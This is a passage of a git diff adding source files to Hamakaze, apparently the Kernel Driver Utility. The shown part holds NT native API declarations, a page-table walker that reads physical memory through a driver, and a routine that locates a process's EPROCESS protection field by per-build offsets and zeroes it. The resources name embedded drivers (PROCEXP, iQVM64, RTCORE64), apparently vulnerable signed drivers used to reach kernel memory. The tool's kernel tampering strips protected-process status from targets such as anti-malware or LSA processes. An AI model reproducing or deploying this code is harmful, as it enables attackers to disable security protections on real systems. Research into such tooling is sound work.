PortHandle, + _Out_opt_ PVOID *PortContext, + _In_opt_ PPORT_MESSAGE ReplyMessage, + _Out_ PPORT_MESSAGE ReceiveMessage); + +NTSYSAPI +NTSTATUS +NTAPI +NtWriteRequestData( + _In_ HANDLE PortHandle, + _In_ PPORT_MESSAGE Message, + _In_ ULONG DataEntryIndex, + _In_ PVOID Buffer, + _In_ ULONG BufferSize, + _Out_opt_ PULONG NumberOfBytesWritten); + +NTSYSAPI +NTSTATUS +NTAPI +NtReadRequestData( + _In_ HANDLE PortHandle, + _In_ PPORT_MESSAGE Message, + _In_ ULONG DataEntryIndex, + _Out_ PVOID Buffer, + _In_ ULONG BufferSize, + _Out_opt_ PULONG NumberOfBytesRead); + +NTSYSAPI +NTSTATUS +NTAPI +NtConnectPort( + _Out_ PHANDLE PortHandle, + _In_ PUNICODE_STRING PortName, + _In_ PSECURITY_QUALITY_OF_SERVICE SecurityQos, + _Inout_opt_ PPORT_VIEW ClientView, + _Out_opt_ PREMOTE_PORT_VIEW ServerView, + _Out_opt_ PULONG MaxMessageLength, + _Inout_opt_ PVOID ConnectionInformation, + _Inout_opt_ PULONG ConnectionInformationLength); + +NTSYSAPI +NTSTATUS +NTAPI +NtAcceptConnectPort( + _Out_ PHANDLE PortHandle, + _In_opt_ PVOID PortContext, + _In_ PPORT_MESSAGE ConnectionRequest, + _In_ BOOLEAN AcceptConnection, + _Inout_opt_ PPORT_VIEW ServerView, + _Out_opt_ PREMOTE_PORT_VIEW ClientView); + +NTSYSAPI +NTSTATUS +NTAPI +NtSecureConnectPort( + _Out_ PHANDLE PortHandle, + _In_ PUNICODE_STRING PortName, + _In_ PSECURITY_QUALITY_OF_SERVICE SecurityQos, + _Inout_opt_ PPORT_VIEW ClientView, + _In_opt_ PSID RequiredServerSid, + _Inout_opt_ PREMOTE_PORT_VIEW ServerView, + _Out_opt_ PULONG MaxMessageLength, + _Inout_opt_ PVOID ConnectionInformation, + _Inout_opt_ PULONG ConnectionInformationLength); + +/************************************************************************************ +* +* Boot Management API. +* +************************************************************************************/ + +NTSYSAPI +NTSTATUS +NTAPI +NtEnumerateBootEntries( + _Out_writes_bytes_opt_(*BufferLength) PVOID Buffer, + _Inout_ PULONG BufferLength); + +/************************************************************************************ +* +* Reserve Objects API. +* +************************************************************************************/ + +typedef enum _MEMORY_RESERVE_TYPE { + MemoryReserveUserApc, + MemoryReserveIoCompletion, + MemoryReserveTypeMax +} MEMORY_RESERVE_TYPE; + +NTSYSAPI +NTSTATUS +NTAPI +NtAllocateReserveObject( + _Out_ PHANDLE MemoryReserveHandle, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ MEMORY_RESERVE_TYPE Type); + +/************************************************************************************ +* +* Debug API. +* +************************************************************************************/ + +// +// Define the debug object thats used to attatch to processes that are being debugged. +// +#define DEBUG_OBJECT_DELETE_PENDING (0x1) // Debug object is delete pending. +#define DEBUG_OBJECT_KILL_ON_CLOSE (0x2) // Kill all debugged processes on close + +typedef struct _DEBUG_OBJECT { + // + // Event thats set when the EventList is populated. + // + KEVENT EventsPresent; + // + // Mutex to protect the structure + // + FAST_MUTEX Mutex; + // + // Queue of events waiting for debugger intervention + // + LIST_ENTRY EventList; + // + // Flags for the object + // + ULONG Flags; +} DEBUG_OBJECT, *PDEBUG_OBJECT; + +NTSYSAPI +NTSTATUS +NTAPI +NtCreateDebugObject( + _Out_ PHANDLE DebugObjectHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ ULONG Flags); + +NTSYSAPI +NTSTATUS +NTAPI +NtDebugActiveProcess( + _In_ HANDLE ProcessHandle, + _In_ HANDLE DebugObjectHandle); + +NTSYSAPI +NTSTATUS +NTAPI +NtRemoveProcessDebug( + _In_ HANDLE ProcessHandle, + _In_ HANDLE DebugObjectHandle); + +/************************************************************************************ +* +* Profile API. +* +************************************************************************************/ + +typedef enum _KPROFILE_SOURCE { + ProfileTime, + ProfileAlignmentFixup, + ProfileTotalIssues, + ProfilePipelineDry, + ProfileLoadInstructions, + ProfilePipelineFrozen, + ProfileBranchInstructions, + ProfileTotalNonissues, + ProfileDcacheMisses, + ProfileIcacheMisses, + ProfileCacheMisses, + ProfileBranchMispredictions, + ProfileStoreInstructions, + ProfileFpInstructions, + ProfileIntegerInstructions, + Profile2Issue, + Profile3Issue, + Profile4Issue, + ProfileSpecialInstructions, + ProfileTotalCycles, + ProfileIcacheIssues, + ProfileDcacheAccesses, + ProfileMemoryBarrierCycles, + ProfileLoadLinkedIssues, + ProfileMaximum +} KPROFILE_SOURCE; + +NTSYSAPI +NTSTATUS +NTAPI +NtCreateProfile( + _Out_ PHANDLE ProfileHandle, + _In_opt_ HANDLE Process, + _In_ PVOID ProfileBase, + _In_ SIZE_T ProfileSize, + _In_ ULONG BucketSize, + _In_reads_bytes_(BufferSize) PULONG Buffer, + _In_ ULONG BufferSize, + _In_ KPROFILE_SOURCE ProfileSource, + _In_ KAFFINITY Affinity); + +NTSYSAPI +NTSTATUS +NTAPI +NtStartProfile( + _In_ HANDLE ProfileHandle); + +NTSYSAPI +NTSTATUS +NTAPI +NtStopProfile( + _In_ HANDLE ProfileHandle); + +NTSYSAPI +NTSTATUS +NTAPI +NtQueryIntervalProfile( + _In_ KPROFILE_SOURCE ProfileSource, + _Out_ PULONG Interval); + +NTSYSAPI +NTSTATUS +NTAPI +NtSetIntervalProfile( + _In_ ULONG Interval, + _In_ KPROFILE_SOURCE Source); + +/************************************************************************************ +* +* Worker Factory API. +* +************************************************************************************/ + +typedef enum _WORKERFACTORYINFOCLASS { + WorkerFactoryTimeout, + WorkerFactoryRetryTimeout, + WorkerFactoryIdleTimeout, + WorkerFactoryBindingCount, + WorkerFactoryThreadMinimum, + WorkerFactoryThreadMaximum, + WorkerFactoryPaused, + WorkerFactoryBasicInformation, + WorkerFactoryAdjustThreadGoal, + WorkerFactoryCallbackType, + WorkerFactoryStackInformation, + WorkerFactoryThreadBasePriority, + WorkerFactoryTimeoutWaiters, + WorkerFactoryFlags, + WorkerFactoryThreadSoftMaximum, + MaxWorkerFactoryInfoClass +} WORKERFACTORYINFOCLASS, *PWORKERFACTORYINFOCLASS; + +typedef struct _WORKER_FACTORY_BASIC_INFORMATION { + LARGE_INTEGER Timeout; + LARGE_INTEGER RetryTimeout; + LARGE_INTEGER IdleTimeout; + BOOLEAN Paused; + BOOLEAN TimerSet; + BOOLEAN QueuedToExWorker; + BOOLEAN MayCreate; + BOOLEAN CreateInProgress; + BOOLEAN InsertedIntoQueue; + BOOLEAN Shutdown; + ULONG BindingCount; + ULONG ThreadMinimum; + ULONG ThreadMaximum; + ULONG PendingWorkerCount; + ULONG WaitingWorkerCount; + ULONG TotalWorkerCount; + ULONG ReleaseCount; + LONGLONG InfiniteWaitGoal; + PVOID StartRoutine; + PVOID StartParameter; + HANDLE ProcessId; + SIZE_T StackReserve; + SIZE_T StackCommit; + NTSTATUS LastThreadCreationStatus; +} WORKER_FACTORY_BASIC_INFORMATION, *PWORKER_FACTORY_BASIC_INFORMATION; + +NTSYSAPI +NTSTATUS +NTAPI +NtCreateWorkerFactory( + _Out_ PHANDLE WorkerFactoryHandleReturn, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ HANDLE CompletionPortHandle, + _In_ HANDLE WorkerProcessHandle, + _In_ PVOID StartRoutine, + _In_opt_ PVOID StartParameter, + _In_opt_ ULONG MaxThreadCount, + _In_opt_ SIZE_T StackReserve, + _In_opt_ SIZE_T StackCommit); + +NTSYSAPI +NTSTATUS +NTAPI +NtQueryInformationWorkerFactory( + _In_ HANDLE WorkerFactoryHandle, + _In_ WORKERFACTORYINFOCLASS WorkerFactoryInformationClass, + _Out_writes_bytes_(WorkerFactoryInformationLength) PVOID WorkerFactoryInformation, + _In_ ULONG WorkerFactoryInformationLength, + _Out_opt_ PULONG ReturnLength); + +NTSYSAPI +NTSTATUS +NTAPI +NtShutdownWorkerFactory( + _In_ HANDLE WorkerFactoryHandle, + _Inout_ volatile LONG *PendingWorkerCount); + +NTSYSAPI +NTSTATUS +NTAPI +NtReleaseWorkerFactoryWorker( + _In_ HANDLE WorkerFactoryHandle); + +/************************************************************************************ +* +* Event Tracing API. +* +************************************************************************************/ + +NTSYSAPI +NTSTATUS +NTAPI +NtTraceEvent( + _In_ HANDLE TraceHandle, + _In_ ULONG Flags, + _In_ ULONG FieldSize, + _In_ PVOID Fields); + +NTSYSAPI +NTSTATUS +NTAPI +NtTraceControl( + _In_ ULONG FunctionCode, + _In_reads_bytes_opt_(InBufferLen) PVOID InBuffer, + _In_ ULONG InBufferLen, + _Out_writes_bytes_opt_(OutBufferLen) PVOID OutBuffer, + _In_ ULONG OutBufferLen, + _Out_ PULONG ReturnLength); + +/************************************************************************************ +* +* Enclave API. +* +************************************************************************************/ + +NTSYSAPI +NTSTATUS +NTAPI +NtLoadEnclaveData( + _In_ HANDLE ProcessHandle, + _In_ PVOID BaseAddress, + _In_reads_bytes_(BufferSize) PVOID Buffer, + _In_ SIZE_T BufferSize, + _In_ ULONG Protect, + _In_reads_bytes_(PageInformationLength) PVOID PageInformation, + _In_ ULONG PageInformationLength, + _Out_opt_ PSIZE_T NumberOfBytesWritten, + _Out_opt_ PULONG EnclaveError); + +/************************************************************************************ +* +* Kernel Debugger API. +* +************************************************************************************/ + +typedef struct _SYSTEM_KERNEL_DEBUGGER_INFORMATION { + BOOLEAN KernelDebuggerEnabled; + BOOLEAN KernelDebuggerNotPresent; +} SYSTEM_KERNEL_DEBUGGER_INFORMATION, *PSYSTEM_KERNEL_DEBUGGER_INFORMATION; + +typedef struct _SYSTEM_KERNEL_DEBUGGER_INFORMATION_EX { + BOOLEAN DebuggerAllowed; + BOOLEAN DebuggerEnabled; + BOOLEAN DebuggerPresent; +} SYSTEM_KERNEL_DEBUGGER_INFORMATION_EX, *PSYSTEM_KERNEL_DEBUGGER_INFORMATION_EX; + +typedef enum _SYSDBG_COMMAND { + SysDbgQueryModuleInformation, + SysDbgQueryTraceInformation, + SysDbgSetTracepoint, + SysDbgSetSpecialCall, + SysDbgClearSpecialCalls, + SysDbgQuerySpecialCalls, + SysDbgBreakPoint, + SysDbgQueryVersion, + SysDbgReadVirtual, + SysDbgWriteVirtual, + SysDbgReadPhysical, + SysDbgWritePhysical, + SysDbgReadControlSpace, + SysDbgWriteControlSpace, + SysDbgReadIoSpace, + SysDbgWriteIoSpace, + SysDbgReadMsr, + SysDbgWriteMsr, + SysDbgReadBusData, + SysDbgWriteBusData, + SysDbgCheckLowMemory, + SysDbgEnableKernelDebugger, + SysDbgDisableKernelDebugger, + SysDbgGetAutoKdEnable, + SysDbgSetAutoKdEnable, + SysDbgGetPrintBufferSize, + SysDbgSetPrintBufferSize, + SysDbgGetKdUmExceptionEnable, + SysDbgSetKdUmExceptionEnable, + SysDbgGetTriageDump, + SysDbgGetKdBlockEnable, + SysDbgSetKdBlockEnable, + SysDbgRegisterForUmBreakInfo, + SysDbgGetUmBreakPid, + SysDbgClearUmBreakPid, + SysDbgGetUmAttachPid, + SysDbgClearUmAttachPid, + SysDbgGetLiveKernelDump +} SYSDBG_COMMAND, *PSYSDBG_COMMAND; + +typedef struct _SYSDBG_VIRTUAL { + PVOID Address; + PVOID Buffer; + ULONG Request; +} SYSDBG_VIRTUAL, *PSYSDBG_VIRTUAL; + +NTSYSAPI +NTSTATUS +NTAPI +NtSystemDebugControl( + _In_ SYSDBG_COMMAND Command, + _Inout_updates_bytes_opt_(InputBufferLength) PVOID InputBuffer, + _In_ ULONG InputBufferLength, + _Out_writes_bytes_opt_(OutputBufferLength) PVOID OutputBuffer, + _In_ ULONG OutputBufferLength, + _Out_opt_ PULONG ReturnLength); + +/************************************************************************************ +* +* Application Verifier API and definitions. +* +************************************************************************************/ + +#ifndef DLL_PROCESS_VERIFIER +#define DLL_PROCESS_VERIFIER 4 +#endif + +typedef VOID(NTAPI *RTL_VERIFIER_DLL_LOAD_CALLBACK)( + PWSTR DllName, + PVOID DllBase, + SIZE_T DllSize, + PVOID Reserved); + +typedef VOID(NTAPI *RTL_VERIFIER_DLL_UNLOAD_CALLBACK)( + PWSTR DllName, + PVOID DllBase, + SIZE_T DllSize, + PVOID Reserved); + +typedef VOID(NTAPI *RTL_VERIFIER_NTDLLHEAPFREE_CALLBACK)( + PVOID AllocationBase, + SIZE_T AllocationSize); + +typedef struct _RTL_VERIFIER_THUNK_DESCRIPTOR { + PCHAR ThunkName; + PVOID ThunkOldAddress; + PVOID ThunkNewAddress; +} RTL_VERIFIER_THUNK_DESCRIPTOR, *PRTL_VERIFIER_THUNK_DESCRIPTOR; + +typedef struct _RTL_VERIFIER_DLL_DESCRIPTOR { + PWCHAR DllName; + DWORD DllFlags; + PVOID DllAddress; + PRTL_VERIFIER_THUNK_DESCRIPTOR DllThunks; +} RTL_VERIFIER_DLL_DESCRIPTOR, *PRTL_VERIFIER_DLL_DESCRIPTOR; + +typedef struct _RTL_VERIFIER_PROVIDER_DESCRIPTOR { + DWORD Length; + PRTL_VERIFIER_DLL_DESCRIPTOR ProviderDlls; + RTL_VERIFIER_DLL_LOAD_CALLBACK ProviderDllLoadCallback; + RTL_VERIFIER_DLL_UNLOAD_CALLBACK ProviderDllUnloadCallback; + PWSTR VerifierImage; + DWORD VerifierFlags; + DWORD VerifierDebug; + PVOID RtlpGetStackTraceAddress; + PVOID RtlpDebugPageHeapCreate; + PVOID RtlpDebugPageHeapDestroy; + RTL_VERIFIER_NTDLLHEAPFREE_CALLBACK ProviderNtdllHeapFreeCallback; +} RTL_VERIFIER_PROVIDER_DESCRIPTOR, *PRTL_VERIFIER_PROVIDER_DESCRIPTOR; + +// +// Application verifier standard flags. +// +#define RTL_VRF_FLG_FULL_PAGE_HEAP 0x00000001 +#define RTL_VRF_FLG_RESERVED_DONOTUSE 0x00000002 +#define RTL_VRF_FLG_HANDLE_CHECKS 0x00000004 +#define RTL_VRF_FLG_STACK_CHECKS 0x00000008 +#define RTL_VRF_FLG_APPCOMPAT_CHECKS 0x00000010 +#define RTL_VRF_FLG_TLS_CHECKS 0x00000020 +#define RTL_VRF_FLG_DIRTY_STACKS 0x00000040 +#define RTL_VRF_FLG_RPC_CHECKS 0x00000080 +#define RTL_VRF_FLG_COM_CHECKS 0x00000100 +#define RTL_VRF_FLG_DANGEROUS_APIS 0x00000200 +#define RTL_VRF_FLG_RACE_CHECKS 0x00000400 +#define RTL_VRF_FLG_DEADLOCK_CHECKS 0x00000800 +#define RTL_VRF_FLG_FIRST_CHANCE_EXCEPTION_CHECKS 0x00001000 +#define RTL_VRF_FLG_VIRTUAL_MEM_CHECKS 0x00002000 +#define RTL_VRF_FLG_ENABLE_LOGGING 0x00004000 +#define RTL_VRF_FLG_FAST_FILL_HEAP 0x00008000 +#define RTL_VRF_FLG_VIRTUAL_SPACE_TRACKING 0x00010000 +#define RTL_VRF_FLG_ENABLED_SYSTEM_WIDE 0x00020000 +#define RTL_VRF_FLG_MISCELLANEOUS_CHECKS 0x00020000 +#define RTL_VRF_FLG_LOCK_CHECKS 0x00040000 + +NTSYSAPI +VOID +NTAPI +RtlApplicationVerifierStop( + _In_ ULONG_PTR Code, + _In_ PSTR Message, + _In_ ULONG_PTR Param1, + _In_ PSTR Description1, + _In_ ULONG_PTR Param2, + _In_ PSTR Description2, + _In_ ULONG_PTR Param3, + _In_ PSTR Description3, + _In_ ULONG_PTR Param4, + _In_ PSTR Description4); + +#ifndef VERIFIER_STOP +#define VERIFIER_STOP(Code, Msg, P1, S1, P2, S2, P3, S3, P4, S4) { \ + RtlApplicationVerifierStop ((Code), \ + (Msg), \ + (ULONG_PTR)(P1),(S1), \ + (ULONG_PTR)(P2),(S2), \ + (ULONG_PTR)(P3),(S3), \ + (ULONG_PTR)(P4),(S4)); \ + } +#endif + + +// +// NTOS_RTL HEADER END +// + +#pragma warning(pop) + + +#ifdef __cplusplus +} +#endif + +#endif NTOS_RTL diff --git a/Source/Hamakaze/pagewalk.cpp b/Source/Hamakaze/pagewalk.cpp new file mode 100644 index 0000000..5af8188 --- /dev/null +++ b/Source/Hamakaze/pagewalk.cpp @@ -0,0 +1,85 @@ +/******************************************************************************* +* +* (C) COPYRIGHT AUTHORS, 2018 - 2020 +* +* TITLE: PAGEWALK.C +* +* VERSION: 1.00 +* +* DATE: 24 Jan 2020 +* +* Function to translate virtual to physical addresses, x86-64. +* +* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF +* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED +* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A +* PARTICULAR PURPOSE. +* +*******************************************************************************/ + +#include "global.h" + +#define PHY_ADDRESS_MASK 0x000ffffffffff000ull +#define PHY_ADDRESS_MASK_2MB_PAGES 0x000fffffffe00000ull +#define VADDR_ADDRESS_MASK_2MB_PAGES 0x00000000001fffffull +#define VADDR_ADDRESS_MASK_4KB_PAGES 0x0000000000000fffull +#define ENTRY_PRESENT_BIT 1 +#define ENTRY_PAGE_SIZE_BIT 0x0000000000000080ull + +int EntryToPhyAddr(ULONG_PTR entry, ULONG_PTR* phyaddr) +{ + if (entry & ENTRY_PRESENT_BIT) { + *phyaddr = entry & PHY_ADDRESS_MASK; + return 1; + } + + return 0; +} + +BOOL PwVirtualToPhysical( + _In_ KDU_CONTEXT *Context, + _In_ ULONG_PTR VirtualAddress, + _Out_ ULONG_PTR* PhysicalAddress) +{ + KDU_PROVIDER* prov = Context->Provider; + ULONG_PTR reg_cr3, selector, table, entry; + INT r, shift; + + if (prov->Callbacks.ReadControlRegister(Context->DeviceHandle, + 3, + ®_cr3) == 0) + { + return 0; + } + + table = reg_cr3 & PHY_ADDRESS_MASK; + + for (r = 0; r < 4; r++) { + + shift = 39 - (r * 9); + selector = (VirtualAddress >> shift) & 0x1ff; + + if (prov->Callbacks.ReadPhysicalMemory(Context->DeviceHandle, + table + selector * 8, + &entry, + sizeof(ULONG_PTR)) == 0) + { + return 0; + } + + if (EntryToPhyAddr(entry, &table) == 0) + return 0; + + if ((r == 2) && ((entry & ENTRY_PAGE_SIZE_BIT) != 0)) { + table &= PHY_ADDRESS_MASK_2MB_PAGES; + table += VirtualAddress & VADDR_ADDRESS_MASK_2MB_PAGES; + *PhysicalAddress = table; + return 1; + } + } + + table += VirtualAddress & VADDR_ADDRESS_MASK_4KB_PAGES; + *PhysicalAddress = table; + + return 1; +} diff --git a/Source/Hamakaze/pagewalk.h b/Source/Hamakaze/pagewalk.h new file mode 100644 index 0000000..054d93d --- /dev/null +++ b/Source/Hamakaze/pagewalk.h @@ -0,0 +1,25 @@ +/******************************************************************************* +* +* (C) COPYRIGHT AUTHORS, 2018 - 2020 +* +* TITLE: PAGEWALK.H +* +* VERSION: 1.00 +* +* DATE: 24 Jan 2020 +* +* Page table translation prototypes. +* +* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF +* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED +* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A +* PARTICULAR PURPOSE. +* +*******************************************************************************/ + +#pragma once + +BOOL PwVirtualToPhysical( + _In_ KDU_CONTEXT* Context, + _In_ ULONG_PTR VirtualAddress, + _Out_ ULONG_PTR* PhysicalAddress); diff --git a/Source/Hamakaze/ps.cpp b/Source/Hamakaze/ps.cpp new file mode 100644 index 0000000..b8bd38c --- /dev/null +++ b/Source/Hamakaze/ps.cpp @@ -0,0 +1,230 @@ +/******************************************************************************* +* +* (C) COPYRIGHT AUTHORS, 2018 - 2020 +* +* TITLE: PS.CPP +* +* VERSION: 1.00 +* +* DATE: 24 Jan 2020 +* +* Processes DKOM related routines. +* +* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF +* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED +* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A +* PARTICULAR PURPOSE. +* +*******************************************************************************/ + +#include "global.h" + +LPSTR KDUGetProtectionTypeAsString( + _In_ ULONG Type +) +{ + LPSTR pStr; + + switch (Type) { + + case PsProtectedTypeNone: + pStr = (LPSTR)"PsProtectedTypeNone"; + break; + case PsProtectedTypeProtectedLight: + pStr = (LPSTR)"PsProtectedTypeProtectedLight"; + break; + case PsProtectedTypeProtected: + pStr = (LPSTR)"PsProtectedTypeProtected"; + break; + default: + pStr = (LPSTR)"Unknown Type"; + break; + } + + return pStr; +} + +LPSTR KDUGetProtectionSignerAsString( + _In_ ULONG Signer +) +{ + LPSTR pStr; + + switch (Signer) { + case PsProtectedSignerNone: + pStr = (LPSTR)"PsProtectedSignerNone"; + break; + case PsProtectedSignerAuthenticode: + pStr = (LPSTR)"PsProtectedSignerAuthenticode"; + break; + case PsProtectedSignerCodeGen: + pStr = (LPSTR)"PsProtectedSignerCodeGen"; + break; + case PsProtectedSignerAntimalware: + pStr = (LPSTR)"PsProtectedSignerAntimalware"; + break; + case PsProtectedSignerLsa: + pStr = (LPSTR)"PsProtectedSignerLsa"; + break; + case PsProtectedSignerWindows: + pStr = (LPSTR)"PsProtectedSignerWindows"; + break; + case PsProtectedSignerWinTcb: + pStr = (LPSTR)"PsProtectedSignerWinTcb"; + break; + case PsProtectedSignerWinSystem: + pStr = (LPSTR)"PsProtectedSignerWinSystem"; + break; + case PsProtectedSignerApp: + pStr = (LPSTR)"PsProtectedSignerApp"; + break; + default: + pStr = (LPSTR)"Unknown Value"; + break; + } + + return pStr; +} + +/* +* KDUControlProcess +* +* Purpose: +* +* Modify process object to remove PsProtectedProcess access restrictions. +* +*/ +BOOL KDUControlProcess( + _In_ PKDU_CONTEXT Context, + _In_ ULONG_PTR ProcessId) +{ + BOOL bResult = FALSE; + ULONG Buffer; + NTSTATUS ntStatus; + ULONG_PTR ProcessObject = 0, VirtualAddress = 0, Offset = 0; + HANDLE hProcess = NULL; + + CLIENT_ID clientId; + OBJECT_ATTRIBUTES obja; + + PS_PROTECTION* PsProtection; + + printf_s("[>] Entering %s\r\n", __FUNCTION__); + + InitializeObjectAttributes(&obja, NULL, 0, 0, 0); + + clientId.UniqueProcess = (HANDLE)ProcessId; + clientId.UniqueThread = NULL; + + ntStatus = NtOpenProcess(&hProcess, PROCESS_QUERY_LIMITED_INFORMATION, + &obja, &clientId); + + if (NT_SUCCESS(ntStatus)) { + + printf_s("[+] Process with PID %llu opened (PROCESS_QUERY_LIMITED_INFORMATION)\r\n", ProcessId); + supQueryObjectFromHandle(hProcess, &ProcessObject); + + if (ProcessObject != 0) { + + printf_s("[+] Process object (EPROCESS) found, 0x%llX\r\n", ProcessObject); + + switch (Context->NtBuildNumber) { + case 9600: + Offset = PsProtectionOffset_9600; + break; + case 10240: + Offset = PsProtectionOffset_10240; + break; + case 10586: + Offset = PsProtectionOffset_10586; + break; + case 14393: + Offset = PsProtectionOffset_14393; + break; + case 15063: + case 16299: + case 17134: + case 17763: + case 18362: + case 18363: + Offset = PsProtectionOffset_15063; + break; + default: + Offset = PsProtectionOffset_19037; + break; + } + + if (Offset == 0) { + printf_s("[!] Unsupported WinNT version\r\n"); + } + else { + + VirtualAddress = EPROCESS_TO_PROTECTION(ProcessObject, Offset); + + printf_s("[+] EPROCESS->PS_PROTECTION, 0x%llX\r\n", VirtualAddress); + + Buffer = 0; + if (KDUReadKernelVM(Context, VirtualAddress, &Buffer, sizeof(ULONG))) { + + PsProtection = (PS_PROTECTION*)&Buffer; + + LPSTR pStr; + + + printf_s("[+] Kernel memory read succeeded\r\n"); + + pStr = KDUGetProtectionTypeAsString(PsProtection->Type); + printf_s("\tPsProtection->Type: %lu (%s)\r\n", + PsProtection->Type, + pStr); + + printf_s("\tPsProtection->Audit: %lu\r\n", PsProtection->Audit); + + pStr = KDUGetProtectionSignerAsString(PsProtection->Signer); + printf_s("\tPsProtection->Signer: %lu (%s)\r\n", + PsProtection->Signer, + pStr); + + PsProtection->Signer = PsProtectedSignerNone; + PsProtection->Type = PsProtectedTypeNone; + PsProtection->Audit = 0; + + bResult = KDUWriteKernelVM(Context, VirtualAddress, &Buffer, sizeof(ULONG)); + if (bResult) { + printf_s("[+] Process object modified\r\n"); + + pStr = KDUGetProtectionTypeAsString(PsProtection->Type); + printf_s("\tNew PsProtection->Type: %lu (%s)\r\n", + PsProtection->Type, + pStr); + + pStr = KDUGetProtectionSignerAsString(PsProtection->Signer); + printf_s("\tNew PsProtection->Signer: %lu (%s)\r\n", + PsProtection->Signer, + pStr); + + printf_s("\tNew PsProtection->Audit: %lu\r\n", PsProtection->Audit); + + } + else { + printf_s("[!] Cannot modify process object\r\n"); + } + } + else { + printf_s("[!] Cannot read kernel memory\r\n"); + } + } + } + else { + printf_s("[!] Cannot query process object\r\n"); + } + NtClose(hProcess); + } + else { + printf_s("[!] Cannot open target process, NTSTATUS (0x%lX)\r\n", ntStatus); + } + + printf_s("[<] Leaving %s\r\n", __FUNCTION__); + + return bResult; +} diff --git a/Source/Hamakaze/ps.h b/Source/Hamakaze/ps.h new file mode 100644 index 0000000..097c175 --- /dev/null +++ b/Source/Hamakaze/ps.h @@ -0,0 +1,35 @@ +/******************************************************************************* +* +* (C) COPYRIGHT AUTHORS, 2018 - 2020 +* +* TITLE: PS.H +* +* VERSION: 1.00 +* +* DATE: 07 Jan 2020 +* +* Processes support prototypes and definitions. +* +* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF +* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED +* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A +* PARTICULAR PURPOSE. +* +*******************************************************************************/ + +#pragma once + +#define PsProtectionOffset_9600 (ULONG_PTR)0x67A +#define PsProtectionOffset_10240 (ULONG_PTR)0x6AA +#define PsProtectionOffset_10586 (ULONG_PTR)0x6B2 +#define PsProtectionOffset_14393 (ULONG_PTR)0x6C2 +#define PsProtectionOffset_15063 (ULONG_PTR)0x6CA //same for 16299, 17134, 17763 +#define PsProtectionOffset_18362 (ULONG_PTR)0x6FA +#define PsProtectionOffset_18363 (ULONG_PTR)0x6FA +#define PsProtectionOffset_19037 (ULONG_PTR)0x87A; + +#define EPROCESS_TO_PROTECTION(Object, PsProtectionOffset) ((ULONG_PTR)Object + (ULONG_PTR)PsProtectionOffset) + +BOOL KDUControlProcess( + _In_ PKDU_CONTEXT Context, + _In_ ULONG_PTR ProcessId); diff --git a/Source/Hamakaze/res/274.ico b/Source/Hamakaze/res/274.ico new file mode 100644 index 0000000..8238dd4 Binary files /dev/null and b/Source/Hamakaze/res/274.ico differ diff --git a/Source/Hamakaze/resource.h b/Source/Hamakaze/resource.h new file mode 100644 index 0000000..2e324bf --- /dev/null +++ b/Source/Hamakaze/resource.h @@ -0,0 +1,19 @@ +//{{NO_DEPENDENCIES}} +// Microsoft Visual C++ generated include file. +// Used by resource.rc +// +#define IDR_PROCEXP 100 +#define IDR_iQVM64 103 +#define IDR_RTCORE64 105 +#define IDI_ICON1 107 + +// Next default values for new objects +// +#ifdef APSTUDIO_INVOKED +#ifndef APSTUDIO_READONLY_SYMBOLS +#define _APS_NEXT_RESOURCE_VALUE 108 +#define _APS_NEXT_COMMAND_VALUE 40001 +#define _APS_NEXT_CONTROL_VALUE 1001 +#define _APS_NEXT_SYMED_VALUE 101 +#endif +#endif diff --git a/Source/Hamakaze/resource.rc b/Source/Hamakaze/resource.rc new file mode 100644 index 0000000..062777a --- /dev/null +++ b/Source/Hamakaze/resource.rc @@ -0,0 +1,122 @@ +// Microsoft Visual C++ generated resource script. +// +#include "resource.h" + +#define APSTUDIO_READONLY_SYMBOLS +///////////////////////////////////////////////////////////////////////////// +// +// Generated from the TEXTINCLUDE 2 resource. +// +#include "winres.h" + +///////////////////////////////////////////////////////////////////////////// +#undef APSTUDIO_READONLY_SYMBOLS + +///////////////////////////////////////////////////////////////////////////// +// English (United States) resources + +#if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_ENU) +LANGUAGE LANG_ENGLISH, SUBLANG_ENGLISH_US +#pragma code_page(1252) + +#ifdef APSTUDIO_INVOKED +///////////////////////////////////////////////////////////////////////////// +// +// TEXTINCLUDE +// + +1 TEXTINCLUDE +BEGIN + "resource.h\0" +END + +2 TEXTINCLUDE +BEGIN + "#include ""winres.h""\r\n" + "\0" +END + +3 TEXTINCLUDE +BEGIN + "\r\n" + "\0" +END + +#endif // APSTUDIO_INVOKED + + +///////////////////////////////////////////////////////////////////////////// +// +// Version +// + +VS_VERSION_INFO VERSIONINFO + FILEVERSION 1,0,0,2002 + PRODUCTVERSION 1,0,0,2002 + FILEFLAGSMASK 0x3fL +#ifdef _DEBUG + FILEFLAGS 0x1L +#else + FILEFLAGS 0x0L +#endif + FILEOS 0x40004L + FILETYPE 0x1L + FILESUBTYPE 0x0L +BEGIN + BLOCK "StringFileInfo" + BEGIN + BLOCK "040904b0" + BEGIN + VALUE "CompanyName", "UG North" + VALUE "FileDescription", "Kernel Driver Utility" + VALUE "FileVersion", "1.0.0.2002" + VALUE "InternalName", "Hamakaze.exe" + VALUE "LegalCopyright", "Copyright (C) 2020 KDU Project" + VALUE "OriginalFilename", "Hamakaze.exe" + VALUE "ProductName", "KDU" + VALUE "ProductVersion", "1.0.0.2002" + END + END + BLOCK "VarFileInfo" + BEGIN + VALUE "Translation", 0x409, 1200 + END +END + + +///////////////////////////////////////////////////////////////////////////// +// +// RCDATA 